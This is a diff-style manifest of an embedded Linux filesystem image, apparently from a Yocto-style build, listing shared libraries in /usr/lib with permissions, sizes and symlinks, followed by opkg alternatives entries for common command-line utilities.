+-rwxr-xr-x root root 489440 ./usr/lib/libgmp.so.10.4.0
+lrwxrwxrwx root root 16 ./usr/lib/libgmp.so.10 -> libgmp.so.10.4.0
+lrwxrwxrwx root root 16 ./usr/lib/libgmp.so -> libgmp.so.10.4.0
+-rwxr-xr-x root root 30696 ./usr/lib/libgmpxx.so.4.6.0
+lrwxrwxrwx root root 17 ./usr/lib/libgmpxx.so.4 -> libgmpxx.so.4.6.0
+lrwxrwxrwx root root 17 ./usr/lib/libgmpxx.so -> libgmpxx.so.4.6.0
+-rwxr-xr-x root root 354344 ./usr/lib/libgobject-2.0.so.0.6400.2
+lrwxrwxrwx root root 26 ./usr/lib/libgobject-2.0.so.0 -> libgobject-2.0.so.0.6400.2
+lrwxrwxrwx root root 19 ./usr/lib/libgobject-2.0.so -> libgobject-2.0.so.0
+-rwxr-xr-x root root 14000 ./usr/lib/libgthread-2.0.so.0.6400.2
+lrwxrwxrwx root root 26 ./usr/lib/libgthread-2.0.so.0 -> libgthread-2.0.so.0.6400.2
+lrwxrwxrwx root root 19 ./usr/lib/libgthread-2.0.so -> libgthread-2.0.so.0
+-rwxr-xr-x root root 46944 ./usr/lib/libhistory.so.8.0
+lrwxrwxrwx root root 17 ./usr/lib/libhistory.so.8 -> libhistory.so.8.0
+lrwxrwxrwx root root 17 ./usr/lib/libhistory.so -> libhistory.so.8.0
+-rwxr-xr-x root root 101096 ./usr/lib/libICE.so.6.3.0
+lrwxrwxrwx root root 15 ./usr/lib/libICE.so.6 -> libICE.so.6.3.0
+lrwxrwxrwx root root 15 ./usr/lib/libICE.so -> libICE.so.6.3.0
+-rwxr-xr-x root root 35256 ./usr/lib/libip4tc.so.2.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libip4tc.so.2 -> libip4tc.so.2.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libip4tc.so -> libip4tc.so.2.0.0
+-rwxr-xr-x root root 35256 ./usr/lib/libip6tc.so.2.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libip6tc.so.2 -> libip6tc.so.2.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libip6tc.so -> libip6tc.so.2.0.0
+-rwxr-xr-x root root 83992 ./usr/lib/libkmod.so.2.3.4
+lrwxrwxrwx root root 16 ./usr/lib/libkmod.so.2 -> libkmod.so.2.3.4
+lrwxrwxrwx root root 16 ./usr/lib/libkmod.so -> libkmod.so.2.3.4
+-rwxr-xr-x root root 18240 ./usr/lib/libkms.so.1.0.0
+lrwxrwxrwx root root 15 ./usr/lib/libkms.so.1 -> libkms.so.1.0.0
+lrwxrwxrwx root root 11 ./usr/lib/libkms.so -> libkms.so.1
+-rwxr-xr-x root root 161760 ./usr/lib/liblzma.so.5.2.5
+lrwxrwxrwx root root 16 ./usr/lib/liblzma.so.5 -> liblzma.so.5.2.5
+lrwxrwxrwx root root 16 ./usr/lib/liblzma.so -> liblzma.so.5.2.5
+-rwxr-xr-x root root 141200 ./usr/lib/liblzo2.so.2.0.0
+lrwxrwxrwx root root 16 ./usr/lib/liblzo2.so.2 -> liblzo2.so.2.0.0
+lrwxrwxrwx root root 16 ./usr/lib/liblzo2.so -> liblzo2.so.2.0.0
+-rwxr-xr-x root root 34976 ./usr/lib/libmenu.so.5.9
+lrwxrwxrwx root root 14 ./usr/lib/libmenu.so.5 -> libmenu.so.5.9
+lrwxrwxrwx root root 12 ./usr/lib/libmenu.so -> libmenu.so.5
+-rwxr-xr-x root root 39072 ./usr/lib/libmenuw.so.5.9
+lrwxrwxrwx root root 15 ./usr/lib/libmenuw.so.5 -> libmenuw.so.5.9
+lrwxrwxrwx root root 13 ./usr/lib/libmenuw.so -> libmenuw.so.5
+-rwxr-xr-x root root 26584 ./usr/lib/libmnl.so.0.2.0
+lrwxrwxrwx root root 15 ./usr/lib/libmnl.so.0 -> libmnl.so.0.2.0
+lrwxrwxrwx root root 15 ./usr/lib/libmnl.so -> libmnl.so.0.2.0
+lrwxrwxrwx root root 27 ./usr/lib/libmount.so -> ../../lib/libmount.so.1.1.0
+-rw-r--r-- root root 106 ./usr/lib/libm.so
+lrwxrwxrwx root root 22 ./usr/lib/libmvec.so -> ../../lib/libmvec.so.1
+-rw-r--r-- root root 62 ./usr/lib/libncurses.so
+-rw-r--r-- root root 63 ./usr/lib/libncursesw.so
+-rwxr-xr-x root root 96288 ./usr/lib/libnsl.so.2.0.0
+lrwxrwxrwx root root 15 ./usr/lib/libnsl.so.2 -> libnsl.so.2.0.0
+lrwxrwxrwx root root 15 ./usr/lib/libnsl.so -> libnsl.so.2.0.0
+lrwxrwxrwx root root 28 ./usr/lib/libnss_compat.so -> ../../lib/libnss_compat.so.2
+lrwxrwxrwx root root 24 ./usr/lib/libnss_db.so -> ../../lib/libnss_db.so.2
+lrwxrwxrwx root root 25 ./usr/lib/libnss_dns.so -> ../../lib/libnss_dns.so.2
+lrwxrwxrwx root root 27 ./usr/lib/libnss_files.so -> ../../lib/libnss_files.so.2
+lrwxrwxrwx root root 28 ./usr/lib/libnss_hesiod.so -> ../../lib/libnss_hesiod.so.2
+-rwxr-xr-x root root 1426544 ./usr/lib/libopcodes-2.34.0.20200220.so
+lrwxrwxrwx root root 29 ./usr/lib/libopcodes.so -> libopcodes-2.34.0.20200220.so
+-rwxr-xr-x root root 18168 ./usr/lib/libpanel.so.5.9
+lrwxrwxrwx root root 15 ./usr/lib/libpanel.so.5 -> libpanel.so.5.9
+lrwxrwxrwx root root 13 ./usr/lib/libpanel.so -> libpanel.so.5
+-rwxr-xr-x root root 18168 ./usr/lib/libpanelw.so.5.9
+lrwxrwxrwx root root 16 ./usr/lib/libpanelw.so.5 -> libpanelw.so.5.9
+lrwxrwxrwx root root 14 ./usr/lib/libpanelw.so -> libpanelw.so.5
+-rwxr-xr-x root root 42896 ./usr/lib/libpciaccess.so.0.11.1
+lrwxrwxrwx root root 22 ./usr/lib/libpciaccess.so.0 -> libpciaccess.so.0.11.1
+lrwxrwxrwx root root 22 ./usr/lib/libpciaccess.so -> libpciaccess.so.0.11.1
+-rwxr-xr-x root root 42984 ./usr/lib/libpcrecpp.so.0.0.2
+lrwxrwxrwx root root 19 ./usr/lib/libpcrecpp.so.0 -> libpcrecpp.so.0.0.2
+lrwxrwxrwx root root 19 ./usr/lib/libpcrecpp.so -> libpcrecpp.so.0.0.2
+-rwxr-xr-x root root 14224 ./usr/lib/libpcreposix.so.0.0.7
+lrwxrwxrwx root root 21 ./usr/lib/libpcreposix.so.0 -> libpcreposix.so.0.0.7
+lrwxrwxrwx root root 21 ./usr/lib/libpcreposix.so -> libpcreposix.so.0.0.7
+-rwxr-xr-x root root 489400 ./usr/lib/libpcre.so.1.2.12
+lrwxrwxrwx root root 17 ./usr/lib/libpcre.so.1 -> libpcre.so.1.2.12
+lrwxrwxrwx root root 17 ./usr/lib/libpcre.so -> libpcre.so.1.2.12
+-r-xr-xr-x root root 3351136 ./usr/lib/libperl.so.5.30.0
+lrwxrwxrwx root root 17 ./usr/lib/libperl.so.5 -> libperl.so.5.30.0
+lrwxrwxrwx root root 17 ./usr/lib/libperl.so -> libperl.so.5.30.0
+-rwxr-xr-x root root 686072 ./usr/lib/libpixman-1.so.0.38.4
+lrwxrwxrwx root root 21 ./usr/lib/libpixman-1.so.0 -> libpixman-1.so.0.38.4
+lrwxrwxrwx root root 16 ./usr/lib/libpixman-1.so -> libpixman-1.so.0
+-rwxr-xr-x root root 219024 ./usr/lib/libpng16.so.16.37.0
+lrwxrwxrwx root root 19 ./usr/lib/libpng16.so.16 -> libpng16.so.16.37.0
+lrwxrwxrwx root root 19 ./usr/lib/libpng16.so -> libpng16.so.16.37.0
+lrwxrwxrwx root root 11 ./usr/lib/libpng.so -> libpng16.so
+-rwxr-xr-x root root 79888 ./usr/lib/libprocps.so.8.0.2
+lrwxrwxrwx root root 18 ./usr/lib/libprocps.so.8 -> libprocps.so.8.0.2
+lrwxrwxrwx root root 18 ./usr/lib/libprocps.so -> libprocps.so.8.0.2
+lrwxrwxrwx root root 25 ./usr/lib/libpthread.so -> ../../lib/libpthread.so.0
+-rwxr-xr-x root root 3267712 ./usr/lib/libpython3.8.so.1.0
+lrwxrwxrwx root root 19 ./usr/lib/libpython3.8.so -> libpython3.8.so.1.0
+-rwxr-xr-x root root 13920 ./usr/lib/libpython3.so
+-rwxr-xr-x root root 330696 ./usr/lib/libreadline.so.8.0
+lrwxrwxrwx root root 18 ./usr/lib/libreadline.so.8 -> libreadline.so.8.0
+lrwxrwxrwx root root 18 ./usr/lib/libreadline.so -> libreadline.so.8.0
+lrwxrwxrwx root root 24 ./usr/lib/libresolv.so -> ../../lib/libresolv.so.2
+lrwxrwxrwx root root 20 ./usr/lib/librt.so -> ../../lib/librt.so.1
+lrwxrwxrwx root root 31 ./usr/lib/libsmartcols.so -> ../../lib/libsmartcols.so.1.1.0
+-rwxr-xr-x root root 38736 ./usr/lib/libSM.so.6.0.1
+lrwxrwxrwx root root 14 ./usr/lib/libSM.so.6 -> libSM.so.6.0.1
+lrwxrwxrwx root root 14 ./usr/lib/libSM.so -> libSM.so.6.0.1
+-rwxr-xr-x root root 1244736 ./usr/lib/libsqlite3.so.0.8.6
+lrwxrwxrwx root root 19 ./usr/lib/libsqlite3.so.0 -> libsqlite3.so.0.8.6
+lrwxrwxrwx root root 19 ./usr/lib/libsqlite3.so -> libsqlite3.so.0.8.6
+-rwxr-xr-x root root 593728 ./usr/lib/libssl.so.1.1
+lrwxrwxrwx root root 13 ./usr/lib/libssl.so -> libssl.so.1.1
+-rwxr-xr-x root root 1866240 ./usr/lib/libstdc++.so.6.0.28
+lrwxrwxrwx root root 19 ./usr/lib/libstdc++.so.6 -> libstdc++.so.6.0.28
+lrwxrwxrwx root root 19 ./usr/lib/libstdc++.so -> libstdc++.so.6.0.28
+-rw-r--r-- root root 46 ./usr/lib/libtermcap.so
+lrwxrwxrwx root root 27 ./usr/lib/libthread_db.so -> ../../lib/libthread_db.so.1
+-rwxr-xr-x root root 67472 ./usr/lib/libtic.so.5.9
+lrwxrwxrwx root root 13 ./usr/lib/libtic.so.5 -> libtic.so.5.9
+lrwxrwxrwx root root 11 ./usr/lib/libtic.so -> libtic.so.5
+-rwxr-xr-x root root 67472 ./usr/lib/libticw.so.5.9
+lrwxrwxrwx root root 14 ./usr/lib/libticw.so.5 -> libticw.so.5.9
+lrwxrwxrwx root root 12 ./usr/lib/libticw.so -> libticw.so.5
+lrwxrwxrwx root root 23 ./usr/lib/libtinfo.so -> ../../lib/libtinfo.so.5
+-rwxr-xr-x root root 161888 ./usr/lib/libtirpc.so.3.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libtirpc.so.3 -> libtirpc.so.3.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libtirpc.so -> libtirpc.so.3.0.0
+lrwxrwxrwx root root 26 ./usr/lib/libudev.so -> ../../lib/libudev.so.1.6.3
+lrwxrwxrwx root root 22 ./usr/lib/libutil.so -> ../../lib/libutil.so.1
+lrwxrwxrwx root root 26 ./usr/lib/libuuid.so -> ../../lib/libuuid.so.1.3.0
+-rwxr-xr-x root root 68272 ./usr/lib/libwayland-client.so.0.3.0
+lrwxrwxrwx root root 26 ./usr/lib/libwayland-client.so.0 -> libwayland-client.so.0.3.0
+lrwxrwxrwx root root 22 ./usr/lib/libwayland-client.so -> libwayland-client.so.0
+-rwxr-xr-x root root 30720 ./usr/lib/libwayland-cursor.so.0.0.0
+lrwxrwxrwx root root 26 ./usr/lib/libwayland-cursor.so.0 -> libwayland-cursor.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libwayland-cursor.so -> libwayland-cursor.so.0
+-rwxr-xr-x root root 14080 ./usr/lib/libwayland-egl.so.1.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libwayland-egl.so.1 -> libwayland-egl.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libwayland-egl.so -> libwayland-egl.so.1
+-rwxr-xr-x root root 88784 ./usr/lib/libwayland-server.so.0.1.0
+lrwxrwxrwx root root 26 ./usr/lib/libwayland-server.so.0 -> libwayland-server.so.0.1.0
+lrwxrwxrwx root root 22 ./usr/lib/libwayland-server.so -> libwayland-server.so.0
+lrwxrwxrwx root root 26 ./usr/lib/libwrap.so -> ../../lib/libwrap.so.0.7.6
+-rwxr-xr-x root root 1308960 ./usr/lib/libX11.so.6.3.0
+lrwxrwxrwx root root 15 ./usr/lib/libX11.so.6 -> libX11.so.6.3.0
+lrwxrwxrwx root root 15 ./usr/lib/libX11.so -> libX11.so.6.3.0
+-rwxr-xr-x root root 13848 ./usr/lib/libX11-xcb.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libX11-xcb.so.1 -> libX11-xcb.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libX11-xcb.so -> libX11-xcb.so.1.0.0
+-rwxr-xr-x root root 14144 ./usr/lib/libXau.so.6.0.0
+lrwxrwxrwx root root 15 ./usr/lib/libXau.so.6 -> libXau.so.6.0.0
+lrwxrwxrwx root root 15 ./usr/lib/libXau.so -> libXau.so.6.0.0
+-rwxr-xr-x root root 14256 ./usr/lib/libxcb-composite.so.0.0.0
+lrwxrwxrwx root root 25 ./usr/lib/libxcb-composite.so.0 -> libxcb-composite.so.0.0.0
+lrwxrwxrwx root root 25 ./usr/lib/libxcb-composite.so -> libxcb-composite.so.0.0.0
+-rwxr-xr-x root root 14248 ./usr/lib/libxcb-damage.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-damage.so.0 -> libxcb-damage.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-damage.so -> libxcb-damage.so.0.0.0
+-rwxr-xr-x root root 14248 ./usr/lib/libxcb-dpms.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-dpms.so.0 -> libxcb-dpms.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-dpms.so -> libxcb-dpms.so.0.0.0
+-rwxr-xr-x root root 22440 ./usr/lib/libxcb-dri2.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-dri2.so.0 -> libxcb-dri2.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-dri2.so -> libxcb-dri2.so.0.0.0
+-rwxr-xr-x root root 18344 ./usr/lib/libxcb-dri3.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-dri3.so.0 -> libxcb-dri3.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-dri3.so -> libxcb-dri3.so.0.0.0
+-rwxr-xr-x root root 116648 ./usr/lib/libxcb-glx.so.0.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-glx.so.0 -> libxcb-glx.so.0.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-glx.so -> libxcb-glx.so.0.0.0
+-rwxr-xr-x root root 14248 ./usr/lib/libxcb-present.so.0.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libxcb-present.so.0 -> libxcb-present.so.0.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libxcb-present.so -> libxcb-present.so.0.0.0
+-rwxr-xr-x root root 67496 ./usr/lib/libxcb-randr.so.0.1.0
+lrwxrwxrwx root root 21 ./usr/lib/libxcb-randr.so.0 -> libxcb-randr.so.0.1.0
+lrwxrwxrwx root root 21 ./usr/lib/libxcb-randr.so -> libxcb-randr.so.0.1.0
+-rwxr-xr-x root root 18344 ./usr/lib/libxcb-record.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-record.so.0 -> libxcb-record.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-record.so -> libxcb-record.so.0.0.0
+-rwxr-xr-x root root 59304 ./usr/lib/libxcb-render.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-render.so.0 -> libxcb-render.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-render.so -> libxcb-render.so.0.0.0
+-rwxr-xr-x root root 18344 ./usr/lib/libxcb-res.so.0.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-res.so.0 -> libxcb-res.so.0.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-res.so -> libxcb-res.so.0.0.0
+-rwxr-xr-x root root 14256 ./usr/lib/libxcb-screensaver.so.0.0.0
+lrwxrwxrwx root root 27 ./usr/lib/libxcb-screensaver.so.0 -> libxcb-screensaver.so.0.0.0
+lrwxrwxrwx root root 27 ./usr/lib/libxcb-screensaver.so -> libxcb-screensaver.so.0.0.0
+-rwxr-xr-x root root 14248 ./usr/lib/libxcb-shape.so.0.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libxcb-shape.so.0 -> libxcb-shape.so.0.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libxcb-shape.so -> libxcb-shape.so.0.0.0
+-rwxr-xr-x root root 14248 ./usr/lib/libxcb-shm.so.0.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-shm.so.0 -> libxcb-shm.so.0.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-shm.so -> libxcb-shm.so.0.0.0
+-rwxr-xr-x root root 169920 ./usr/lib/libxcb.so.1.1.0
+lrwxrwxrwx root root 15 ./usr/lib/libxcb.so.1 -> libxcb.so.1.1.0
+lrwxrwxrwx root root 15 ./usr/lib/libxcb.so -> libxcb.so.1.1.0
+-rwxr-xr-x root root 34728 ./usr/lib/libxcb-sync.so.1.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-sync.so.1 -> libxcb-sync.so.1.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-sync.so -> libxcb-sync.so.1.0.0
+-rwxr-xr-x root root 18344 ./usr/lib/libxcb-xf86dri.so.0.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libxcb-xf86dri.so.0 -> libxcb-xf86dri.so.0.0.0
+lrwxrwxrwx root root 23 ./usr/lib/libxcb-xf86dri.so -> libxcb-xf86dri.so.0.0.0
+-rwxr-xr-x root root 34728 ./usr/lib/libxcb-xfixes.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-xfixes.so.0 -> libxcb-xfixes.so.0.0.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-xfixes.so -> libxcb-xfixes.so.0.0.0
+-rwxr-xr-x root root 14256 ./usr/lib/libxcb-xinerama.so.0.0.0
+lrwxrwxrwx root root 24 ./usr/lib/libxcb-xinerama.so.0 -> libxcb-xinerama.so.0.0.0
+lrwxrwxrwx root root 24 ./usr/lib/libxcb-xinerama.so -> libxcb-xinerama.so.0.0.0
+-rwxr-xr-x root root 149416 ./usr/lib/libxcb-xinput.so.0.1.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-xinput.so.0 -> libxcb-xinput.so.0.1.0
+lrwxrwxrwx root root 22 ./usr/lib/libxcb-xinput.so -> libxcb-xinput.so.0.1.0
+-rwxr-xr-x root root 120744 ./usr/lib/libxcb-xkb.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-xkb.so.1 -> libxcb-xkb.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libxcb-xkb.so -> libxcb-xkb.so.1.0.0
+-rwxr-xr-x root root 14248 ./usr/lib/libxcb-xtest.so.0.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libxcb-xtest.so.0 -> libxcb-xtest.so.0.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libxcb-xtest.so -> libxcb-xtest.so.0.0.0
+-rwxr-xr-x root root 18344 ./usr/lib/libxcb-xvmc.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-xvmc.so.0 -> libxcb-xvmc.so.0.0.0
+lrwxrwxrwx root root 20 ./usr/lib/libxcb-xvmc.so -> libxcb-xvmc.so.0.0.0
+-rwxr-xr-x root root 34728 ./usr/lib/libxcb-xv.so.0.0.0
+lrwxrwxrwx root root 18 ./usr/lib/libxcb-xv.so.0 -> libxcb-xv.so.0.0.0
+lrwxrwxrwx root root 18 ./usr/lib/libxcb-xv.so -> libxcb-xv.so.0.0.0
+-rwxr-xr-x root root 14144 ./usr/lib/libXdamage.so.1.1.0
+lrwxrwxrwx root root 19 ./usr/lib/libXdamage.so.1 -> libXdamage.so.1.1.0
+lrwxrwxrwx root root 19 ./usr/lib/libXdamage.so -> libXdamage.so.1.1.0
+-rwxr-xr-x root root 26432 ./usr/lib/libXdmcp.so.6.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libXdmcp.so.6 -> libXdmcp.so.6.0.0
+lrwxrwxrwx root root 17 ./usr/lib/libXdmcp.so -> libXdmcp.so.6.0.0
+-rwxr-xr-x root root 80992 ./usr/lib/libXext.so.6.4.0
+lrwxrwxrwx root root 16 ./usr/lib/libXext.so.6 -> libXext.so.6.4.0
+lrwxrwxrwx root root 16 ./usr/lib/libXext.so -> libXext.so.6.4.0
+-rwxr-xr-x root root 30464 ./usr/lib/libXfixes.so.3.1.0
+lrwxrwxrwx root root 18 ./usr/lib/libXfixes.so.3 -> libXfixes.so.3.1.0
+lrwxrwxrwx root root 18 ./usr/lib/libXfixes.so -> libXfixes.so.3.1.0
+-rwxr-xr-x root root 1409880 ./usr/lib/libxml2.so.2.9.10
+lrwxrwxrwx root root 17 ./usr/lib/libxml2.so.2 -> libxml2.so.2.9.10
+lrwxrwxrwx root root 17 ./usr/lib/libxml2.so -> libxml2.so.2.9.10
+-rwxr-xr-x root root 47024 ./usr/lib/libXrandr.so.2.2.0
+lrwxrwxrwx root root 18 ./usr/lib/libXrandr.so.2 -> libXrandr.so.2.2.0
+lrwxrwxrwx root root 18 ./usr/lib/libXrandr.so -> libXrandr.so.2.2.0
+-rwxr-xr-x root root 47184 ./usr/lib/libXrender.so.1.3.0
+lrwxrwxrwx root root 19 ./usr/lib/libXrender.so.1 -> libXrender.so.1.3.0
+lrwxrwxrwx root root 19 ./usr/lib/libXrender.so -> libXrender.so.1.3.0
+-rwxr-xr-x root root 14152 ./usr/lib/libxshmfence.so.1.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libxshmfence.so.1 -> libxshmfence.so.1.0.0
+lrwxrwxrwx root root 21 ./usr/lib/libxshmfence.so -> libxshmfence.so.1.0.0
+-rwxr-xr-x root root 63384 ./usr/lib/libxtables.so.12.2.0
+lrwxrwxrwx root root 20 ./usr/lib/libxtables.so.12 -> libxtables.so.12.2.0
+lrwxrwxrwx root root 20 ./usr/lib/libxtables.so -> libxtables.so.12.2.0
+-rwxr-xr-x root root 22456 ./usr/lib/libXxf86vm.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libXxf86vm.so.1 -> libXxf86vm.so.1.0.0
+lrwxrwxrwx root root 19 ./usr/lib/libXxf86vm.so -> libXxf86vm.so.1.0.0
+lrwxrwxrwx root root 24 ./usr/lib/libz.so -> ../../lib/libz.so.1.2.11
+-rw-r--r-- root root 1368 ./usr/lib/Mcrt1.o
+drwxr-xr-x root root 4096 ./usr/lib/opkg
+drwxr-xr-x root root 12288 ./usr/lib/opkg/alternatives
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/[[
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/addgroup
+-rw-r--r-- root root 60 ./usr/lib/opkg/alternatives/addr2line
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/adduser
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/ar
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/arch
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/as
+-rw-r--r-- root root 32 ./usr/lib/opkg/alternatives/ash
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/awk
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/base64
+-rw-r--r-- root root 73 ./usr/lib/opkg/alternatives/basename
+-rw-r--r-- root root 29 ./usr/lib/opkg/alternatives/bash
+-rw-r--r-- root root 31 ./usr/lib/opkg/alternatives/bc
+-rw-r--r-- root root 30 ./usr/lib/opkg/alternatives/bin-lsmod
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/blkid
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/blockdev
+-rw-r--r-- root root 67 ./usr/lib/opkg/alternatives/bunzip2
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/bzcat
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/bzip2
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/cal
+-rw-r--r-- root root 55 ./usr/lib/opkg/alternatives/cat
+-rw-r--r-- root root 56 ./usr/lib/opkg/alternatives/c++filt
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/chattr
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/chcon
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/chfn
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/chgrp
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/chmod
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/chown
+-rw-r--r-- root root 49 ./usr/lib/opkg/alternatives/chpasswd
+-rw-r--r-- root root 71 ./usr/lib/opkg/alternatives/chroot
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/chrt
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/chsh
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/chvt
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/cksum
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/clear
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/cmp
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/comm
+-rw-r--r-- root root 53 ./usr/lib/opkg/alternatives/cp
+-rw-r--r-- root root 33 ./usr/lib/opkg/alternatives/cpio
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/csplit
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/cut
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/date
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/dc
+-rw-r--r-- root root 53 ./usr/lib/opkg/alternatives/dd
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/deallocvt
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/delgroup
+-rw-r--r-- root root 41 ./usr/lib/opkg/alternatives/deluser
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/depmod
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/df
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/diff
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/dir
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/dircolors
+-rw-r--r-- root root 71 ./usr/lib/opkg/alternatives/dirname
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/dmesg
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/dnsdomainname
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/du
+-rw-r--r-- root root 37 ./usr/lib/opkg/alternatives/dumpkmap
+-rw-r--r-- root root 43 ./usr/lib/opkg/alternatives/dumpleases
+-rw-r--r-- root root 48 ./usr/lib/opkg/alternatives/dwp
+-rw-r--r-- root root 57 ./usr/lib/opkg/alternatives/echo
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/egrep
+-rw-r--r-- root root 44 ./usr/lib/opkg/alternatives/eject
+-rw-r--r-- root root 56 ./usr/lib/opkg/alternatives/elfedit
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/env
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/expand
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/expr
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/factor
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/fallocate
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/false
+-rw-r--r-- root root 39 ./usr/lib/opkg/alternatives/fbset
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/fdisk
+-rw-r--r-- root root 54 ./usr/lib/opkg/alternatives/fgrep
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/find
+-rw-r--r-- root root 67 ./usr/lib/opkg/alternatives/flock
+-rw-r--r-- root root 40 ./usr/lib/opkg/alternatives/fmt
+-rw-r--r-- root root 42 ./usr/lib/opkg/alternatives/fold
+-rw-r--r-- root root 62 ./usr/lib/opkg/alternatives/free
+-rw-r--r-- root root 59 ./usr/lib/opkg/alternatives/fsck
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/fsfreeze
+-rw-r--r-- root root 63 ./usr/lib/opkg/alternatives/fstrim
+-rw-r--r-- root root 38 ./usr/lib/opkg/alternatives/fuser
+-rw-r--r-- root root 61 ./usr/lib/opkg/alternatives/getopt
+-rw-r--r-- root root 51 ./usr/lib/opkg/alternatives/getty
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/gprof
+-rw-r--r-- root root 52 ./usr/lib/opkg/alternatives/grep
+-rw-r--r-- root root 96 ./usr/lib/opkg/alternatives/groups
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/gunzip
+-rw-r--r-- root root 33 ./usr/lib/opkg/alternatives/gzip
+-rw-r--r-- root root 35 ./usr/lib/opkg/alternatives/halt
+-rw-r--r-- root root 65 ./usr/lib/opkg/alternatives/head
+-rw-r--r-- root root 71 ./usr/lib/opkg/alternatives/hexdump
+-rw-r--r-- root root 46 ./usr/lib/opkg/alternatives/hostid
+-rw-r--r-- root root 64 ./usr/lib/opkg/alternatives/hostname
